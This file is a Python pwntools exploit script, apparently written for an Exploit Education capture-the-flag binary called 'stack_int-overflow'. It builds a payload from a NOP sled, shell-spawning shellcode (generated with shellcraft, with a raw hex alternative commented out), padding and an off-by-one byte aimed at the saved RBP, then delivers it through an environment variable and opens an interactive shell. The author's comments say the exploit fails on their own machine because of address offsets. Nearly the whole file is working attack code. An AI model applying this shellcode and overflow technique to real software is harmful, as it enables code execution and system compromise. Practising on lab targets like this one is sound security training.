from pwn import *
from os import environb as env


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
b *main
b *greet+140
continue
'''.format(**locals())

# Binary filename
exe = './stack_int-overflow'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# RBP offset this time, found with GDB
offset = 127

# Build shellcode (cat flag.txt or spawn shell)
shellcode = asm(shellcraft.sh())  # Shellcraft
# shellcode = '\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'  # Shellstorm
padding = asm('nop') * (offset - len(shellcode) - 33)

# Build the payload
payload = flat([
    32 * asm('nop'),  # NOP sled
    shellcode,  # Shellcode (sh/cat etc)
    padding,  # Padding
    p8(0x10)  # Control last byte of RBP (off-by-one)
])

# Write payload to file for easy reuse
write('payload', payload)

# Set environment variable to overflow
env[b'ExploitEducation'] = payload

# Start program
io = start()
io.recvline()

# Note: this doesn't actually work for me locally, I traced in GDB and..
# In the official VM, address offsets go from 0xfe100 to 0xfe180 and we control 0xfe1XX
# On my system, the offsets go from 0xdd70 to 0xddf0 and we control 0xdeXX
# Therefore, we overwriting the last byte of the address isn't enough
# We would need to overwrite the last 2 (which we don't control)
io.interactive()
